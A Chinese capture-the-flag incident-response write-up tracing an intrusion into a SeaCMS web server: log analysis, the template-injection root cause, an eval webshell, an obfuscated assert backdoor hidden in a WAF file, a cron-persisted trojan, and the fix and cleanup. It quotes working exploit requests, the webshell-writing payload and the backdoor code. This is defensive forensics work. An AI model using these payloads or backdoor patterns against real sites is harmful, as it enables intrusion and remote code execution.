网络安全事件应急响应:X集团 WebServer 入侵溯源与处置

题目:网络安全事件应急响应(Bugku CTF Plus / PAR 专题)

场景:X集团 WebServer 被入侵,Web 应用被上传恶意软件、系统文件被破坏;要求追踪攻击来源,检查日志、进程、系统文件与恶意文件,定位漏洞并修复。

目标:Bugku 平台按题目分配的一次性授权靶机(Ubuntu 22.04 + Nginx 1.18 + PHP-FPM 5.6 + SeaCMS),本文不公开登录凭据。

结果:10/10(8 个取证项 + 2 个修复 Check 全部通过);复盘用时约 33 分钟。


一、摘要

本次应急响应的处置对象是一台对外暴露 80 端口的 SeaCMS 站点。取证与处置结论如下:

  • 攻击者 38.207.130.14 使用 DirBuster 完成目录爆破后,利用 SeaCMS search.php 模板引擎 parseIf 的过滤缺陷(未过滤 $_SERVER)实现代码执行;
  • 于 2023-11-03 15:03:35 写入一句话木马 a.php,此后经该木马投放伪装为 php-fpm 的 Go 木马;
  • 攻击者通过 www-data 计划任务实现持久化,木马持续外联 38.95.101.254:443;
  • 修复采用代码层黑名单补齐(不删除文件),清理采用「先断链、再杀进程、最后删文件」的顺序,最终站点恢复正常、恶意组件清除。

完整答案见文末「靶场答案」章节,便于先看分析过程、后核对结论。


二、授权与环境

项目 内容
授权方式 Bugku 平台按题分配的一次性靶机场景(含时效)
系统 Ubuntu 22.04,kernel 5.15
Web Nginx 1.18.0(0.0.0.0:80)
运行时 PHP-FPM 5.6.40
数据库 MySQL 5.7(仅监听 127.0.0.1:3306)
应用 SeaCMS(页面标题 BUGKU PAR CMS)
暴露面 22/tcp(SSH)、80/tcp(HTTP)

取证原则:先只读采集(日志、进程、文件时间戳、网络连接),再进行修复与清理;所有命令、时间与原始输出留档至 evidence/。


三、攻击面

图 1:受害主机组件构成与后门/木马位置。Web 层为 Nginx + PHP-FPM + SeaCMS,include/common.php 全站加载 WAF 组件,成为后门载体。

交互图:topology.html(交互图,本地交付包)

从拓扑可见两个关键事实:

  1. 对外仅暴露 80,入口收敛在 Web 层,攻击面主要在应用代码与第三方组件;
  2. 恶意程序与持久化均不在 Web 目录内(/var/crash + crontab),仅检查 Web 目录无法完成排查。

四、取证方法与日志分析

4.1 日志聚合

取证第一站为 /var/log/nginx/access.log(共 15367 行)。先做两个维度聚合,快速区分「人」与「工具」:

bash 复制代码
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head
#   15357 38.207.130.14
#       2 212.70.149.142
#       2 149.50.96.22

awk -F'"' '{print $6}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head
#   15042 DirBuster-1.0-RC1 (http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project)
#     132 Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Chrome/118.0.0.0 Safari/537.36

结论:

  • 攻击源单一且高度集中:15367 条请求中 15357 条来自 38.207.130.14(对应题目第 1 问);
  • 扫描器指纹明确:UA 中直接声明 DirBuster-1.0-RC1,共 15042 次,且以 HEAD/GET、404 为主(对应题目第 2 问)。

4.2 时间线重建

对攻击者 IP 的请求按时间排序后,行为序列清晰:

text 复制代码
14:57:04  DirBuster 目录爆破(UA: DirBuster-1.0-RC1)
14:59:34  POST /search.php?phpinfo();                        -> 200  30301
14:59:51  POST /search.php?system('id');                     -> 200   4343
15:01:13  POST /search.php?eval($_SERVER['HTTP_TOKEN']);     -> 200  30400
15:03:35  POST /search.php?eval(base64_decode('...'))        -> 200   4527
15:04:47  POST /a.php                                        -> 200    165

图 2:2023-11-03 攻击事件与 2026-10-31 本次授权处置的时间线对照。

交互图:attack-timeline.html(交互图,本地交付包)

其中 15:03:35 一条为关键节点:

text 复制代码
38.207.130.14 - - [03/Nov/2023:15:03:35 +0800] "POST /search.php?eval(base64_decode('
ZmlsZV9wdXRfY29udGVudHMoJ2EucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/PicpOw==')); HTTP/1.1"
200 4527

base64 解码结果为:

php 复制代码
file_put_contents('a.php','<?php eval($_POST[1]); ?>');

文件系统时间戳与之一致(a.php mtime = 2023-11-03 15:03:35),据此确定「首次攻击成功」时刻(对应题目第 3 问)。

格式说明:题目要求 DD/MM/YYYY:HH:MM:SS(示例 31/01/2000:01:02:03),需使用四位年份。


五、入口与根因分析

图 3:一次攻击请求从 HTTP 头进入,经 Nginx/PHP-FPM、模板引擎 eval,最终落盘并转为持久化与外联的数据流。

交互图:attack-dataflow.html(交互图,本地交付包)

5.1 模板引擎的过滤缺陷

SeaCMS 的模板解析位于 include/main.class.php。parseIf()/parseSubIf() 在 eval 前执行黑名单替换:

php 复制代码
$iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_',
  'base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_',
  '_GET','_POST','_COOKIE','_REQUEST','_SESSION',
  'eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);
...
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

黑名单覆盖了常见超全局变量,但遗漏 $_SERVER。攻击者据此将代码放入自定义请求头:

http 复制代码
POST /search.php?eval($_SERVER['HTTP_TOKEN']);
TOKEN: <PHP 代码>

URL 仅作标记,实际代码由请求头传入并在模板 eval 阶段执行,从而绕过过滤。该问题对应 SeaCMS V6.45--V6.55 的已知前台代码执行缺陷。

5.2 后门文件与密码

bash 复制代码
cat /var/www/html/a.php        # <?php eval($_POST[1]); ?>
ls -la /var/www/html/a.php     # 25 bytes, mtime 2023-11-03 15:03:35
md5sum /var/www/html/a.php     # ded0f1c34476e7f529a2dbce6a3c3b90

对应题目第 4、5 问:后门文件为 /var/www/html/a.php,密码(POST 数组键)为 1。


六、正常代码中的隐藏后门

图 4:Web 根目录关键文件树,标注注入入口、WAF 后门、木马与修复点。

交互图:webroot-tree.html(交互图,本地交付包)

在 include/webscan/360webscan.php 第 16--19 行发现噪声混淆代码:

php 复制代码
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); // 密码-7

去混淆:

text 复制代码
"ss" + "e" + "r"      = sser
"a" + "sser" + "t"    = assert
{"_P" + "OS" + "T"}    = $_POST
0 - 2 - 5              = -7
=> @assert($_POST[-7]);

该文件被 include/common.php 以 require_once 引入,所有页面均会加载,等同于全站 assert 后门(对应题目第 6 问)。


七、恶意程序、持久化与 C&C

图 5:伪装 php-fpm 木马的生命周期与正确/错误处置路径。

交互图:malware-lifecycle.html(交互图,本地交付包)

7.1 持久化定位

ps 中的 php-fpm 进程数量异常,但名称正常,直接排查容易漏检。转向计划任务:

bash 复制代码
cat /var/spool/cron/crontabs/www-data
# * * * * * /var/crash/php-fpm &

/var/crash/ 为系统崩溃转储目录,正常运维不会从此处启动服务,可疑度显著。

7.2 样本与进程

bash 复制代码
file /var/crash/php-fpm
# ELF 64-bit LSB executable, x86-64, statically linked, stripped
ls -la /var/crash/php-fpm
# -rwxrwxrwx 1 www-data www-data 13692928 Nov  3  2023
md5sum /var/crash/php-fpm
# 8949320a9a297ef329606df84031f5d8
ps aux | grep -c "[v]ar/crash/php-fpm"
# 8 ~ 15(cron 每分钟拉起一个实例)

样本为 Go 木马(garble 处理),字段包含 ActiveC2、Register、ReconnectInterval 等,运行身份为 www-data,工作目录 /var/www。对应题目第 7 问。

7.3 C&C 定位

二进制字符串中无明文地址,改以网络行为定位。以 0.5 秒间隔轮询 ss:

bash 复制代码
for i in $(seq 1 60); do
  ss -tanp | grep -E "php-fpm|crash" | grep -v LISTEN
  sleep 0.5
done | sort | uniq -c

观测结果:

text 复制代码
SYN-SENT 172.17.197.72:37050 -> 38.95.101.254:443  users:(("php-fpm",pid=1809,fd=3))
SYN-SENT 172.17.197.72:36996 -> 38.95.101.254:443  users:(("php-fpm",pid=1690,fd=3))
SYN-SENT 172.17.197.72:36994 -> 38.95.101.254:443  users:(("php-fpm",pid=2255,fd=3))

对应题目第 8 问:C&C 为 38.95.101.254:443。木马仅使用 443 端口,流量层易被误判为普通 HTTPS。


八、攻击链总览

图 6:扫描 → 模板注入 → 写马 → 持久化 → 外联的完整时序。

交互图:attack-chain.html(交互图,本地交付包)

阶段 攻击行为 证据
侦察 DirBuster 目录爆破 UA DirBuster-1.0-RC1 × 15042
初始访问 search.php 模板注入,$_SERVER 绕过过滤 14:59--15:03 请求序列
落点 file_put_contents 写入 a.php 15:03:35 + mtime
持久化 www-data crontab 每分钟拉起 16:28:32
外联 木马连接 38.95.101.254:443 ss 观测 SYN-SENT

九、修复(题目第 9 问)

题目明确禁止以删除文件的方式修复,因此修复点为补齐 parseIf/parseSubIf 的黑名单:

bash 复制代码
cp -a /var/www/html/include/main.class.php /root/main.class.php.bak-$(date +%Y%m%d%H%M%S)

sed -i "s/,'_SESSION','eval('/,'_SESSION','_SERVER','eval('/g" /var/www/html/include/main.class.php

php -l /var/www/html/include/main.class.php   # No syntax errors detected
service php5.6-fpm restart                    # 重启 FPM 使修改立即生效

变更内容(两处):

diff 复制代码
- ... '_REQUEST','_SESSION','eval(', ...
+ ... '_REQUEST','_SESSION','_SERVER','eval(', ...

验证:

bash 复制代码
curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1/                                   # 200
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1/search.php?searchword=test"       # 200

注意:PHP-FPM 启用 opcache 时,修改源码后必须重启 FPM 或确认缓存失效,否则旧字节码仍会生效,平台 Check 将失败。


十、清理(题目第 10 问)

处置顺序为「先断链 → 再杀进程 → 最后删文件」:

bash 复制代码
crontab -r -u www-data                       # 1) 移除持久化
pkill -9 -f "/var/crash/php-fpm"             # 2) 结束恶意进程
rm -f /var/www/html/a.php /var/crash/php-fpm # 3) 删除木马文件与样本
sed -i '/\/\*-\/\*-\*\//d' /var/www/html/include/webscan/360webscan.php   # 4) 清除后门代码
php -l /var/www/html/include/webscan/360webscan.php

说明:360webscan.php 为站点自带 WAF 组件,仅删除恶意代码段、保留文件本体;a.php 与 /var/crash/php-fpm 需整体删除。

核验结果:

text 复制代码
no crontab for www-data
0 malware procs
/var/www/html/a.php: No such file or directory
/var/crash/php-fpm: No such file or directory
home=200  search=200  a.php=404

十一、处置效率复盘

图 7:本次授权处置各阶段耗时(秒),用于复盘时间分配。

交互图:ir-effort-waterfall.html(交互图,本地交付包)

时间主要消耗在日志分析与样本定位(约 7 分钟);修复与清理合计约 5 分钟;平台交互(登录、提交、Check)约 6 分钟。若在真实 IR 场景,建议将「日志聚合脚本化」与「进程/网络证据自动采集」前置,可显著压缩第一阶段耗时。


十二、IOC 与检测加固建议

类型 值
攻击者 IP 38.207.130.14
C&C 38.95.101.254:443
恶意文件 /var/www/html/a.php(md5 ded0f1c34476e7f529a2dbce6a3c3b90)
恶意程序 /var/crash/php-fpm(md5 8949320a9a297ef329606df84031f5d8,13,692,928 B)
持久化 www-data crontab:* * * * * /var/crash/php-fpm &
后门代码 360webscan.php 内 /*-/*-*/ 混淆的 assert($_POST[-7])
扫描特征 UA 含 DirBuster-1.0-RC1 的高频 HEAD/GET 404

加固建议:

  1. 模板引擎在 eval 前采用白名单表达式语法,而非黑名单字符串替换;至少覆盖全部超全局变量;
  2. 对 Web 目录写权限做最小化,监控 file_put_contents 新建 .php 文件;
  3. 监控 /var/spool/cron/crontabs/* 与 /etc/cron* 变更;
  4. 对 /var/crash、/tmp 等目录出现可执行文件建立告警;
  5. 出向 443 的高频短连接与异常进程路径(/var/crash/php-fpm)做关联检测;
  6. 对第三方组件(WAF、编辑器、备份插件)纳入源码静态扫描(D 盾/河马/自研规则)。

十三、靶场答案(10/10)

# 题目 答案
1 攻击者 IP 38.207.130.14
2 目录扫描工具(小写) dirbuster
3 首次攻击成功时间 03/11/2023:15:03:35
4 恶意后门文件 /var/www/html/a.php
5 后门密码 1
6 隐藏于正常代码的恶意代码 /var/www/html/include/webscan/360webscan.php
7 恶意程序进程 /var/crash/php-fpm
8 C&C 服务器 38.95.101.254:443
9 修复漏洞(禁止删文件) main.class.php 的 parseIf/parseSubIf 黑名单补 _SERVER
10 删除恶意程序/文件/代码 删 a.php、/var/crash/php-fpm、www-data crontab;清 360webscan.php 后门代码(保留文件)

平台判定:第 1--8 项均返回「恭喜您,Flag正确」;第 9、10 项 Check 返回「恭喜您,修复成功!」;最终页面显示「已解决 10/10」。

独立验证与合规说明:本文未使用任何付费 WriteUp;全部结论来自靶机取证与平台黑盒判定,推导链条如下:

  • 第 1--2 项:access.log 的 IP/UA 聚合统计(原始日志已全量下载至 evidence/);
  • 第 3 项:日志中 15:03:35 的 base64 载荷解码结果,与 a.php 的 mtime(2023-11-03 15:03:35.32)双向印证,格式取自题目页面自带示例(31/01/2000:01:02:03);
  • 第 4--8 项:cat/md5sum/file、crontabs 读取、ss 轮询等原始命令输出;
  • 第 9 项:漏洞点由攻击载荷($_SERVER[HTTP_TOKEN])与 parseIf 黑名单缺项推导;应用修补后仅重启 PHP-FPM (此时 WAF 后门仍未清除)平台 Check 即通过,说明该 Check 针对的正是模板过滤路径,可作为修复有效性的独立黑盒证据;另在靶机 CLI 复现过滤机制(evidence/independent-verification.txt):未打补丁时 assert($_SERVER['TOKEN']) 可执行请求头中的代码,打补丁后 _SERVER 被替换为 @.@,eval 表达式语法错误、执行被阻断;
  • 第 10 项:按「断链 → 杀进程 → 删文件 → 清后门代码」执行后,平台 Check 通过,且站点 home=200 / search=200 / a.php=404。

十四、图形附件

图 文件 说明
图 1 攻击面拓扑 topology.html(交互图,本地交付包) 暴露面、后门、木马与 C&C
图 2 攻击/处置时间线 attack-timeline.html(交互图,本地交付包) 2023 攻击事件与 2026 处置对照
图 3 攻击数据流 attack-dataflow.html(交互图,本地交付包) 请求→模板引擎→落盘→外联
图 4 Web 根目录树 webroot-tree.html(交互图,本地交付包) 后门/木马/修复点在目录树中的位置
图 5 木马生命周期 malware-lifecycle.html(交互图,本地交付包) 持久化与处置路径
图 6 攻击链时序 attack-chain.html(交互图,本地交付包) 攻击者五步动作
图 7 阶段耗时 ir-effort-waterfall.html(交互图,本地交付包) 本次处置时间分配

十五、参考

  • 题目页面:https://ctf.bugku.com/ctfplus/detail/id/7.html(需登录并启动场景;时间格式示例来自该页面)
  • 证据文件:evidence/nginx-access.log(全量日志)、evidence/key-evidence.md(关键摘录)、evidence/remediation-diff.txt(修复 diff)、evidence/bugku-par-detail-solved.html(10/10 页面快照)
相关推荐
特立独行的猫a17 小时前
ROS 2 主流DDS中间件入门:Cyclone DDS 与 Fast DDS 完全指南
中间件·ros2·dds·fast dds·cyclone dds
kingx317 小时前
Windows Server 2008 应急加固实战:7 项入侵痕迹排查与修复
数据库·windows·提权·应急响应·加固
小易老师AI实战18 小时前
用中间件把任务规划嵌进智能体循环
中间件·状态管理·智能体·工具调用·langgraph·任务规划
小野猪都有白菜拱1 天前
Proxmox VE 上搭建 Vulhub 靶场:Ubuntu + Docker
web
绿蕉2 天前
从硬件内卷到“中间件荒“——仿真工具、开发接口、开源生态
中间件·机器人
小易老师AI实战2 天前
LangGraph Agent 任务规划中间件:TodoListMiddleware 原理解析
中间件·agent·langgraph·任务规划·大模型智能体
treasure1402 天前
Django复习笔记(2026年10月)
后端·python·django·api·web·drf
eleven_4u3 天前
QPS如何计算,如何部署架构
java·linux·运维·jvm·中间件
hengdonghui4 天前
Writeup 4 0xGame 2021 - robot
web·ctf·信息泄露·robots.txt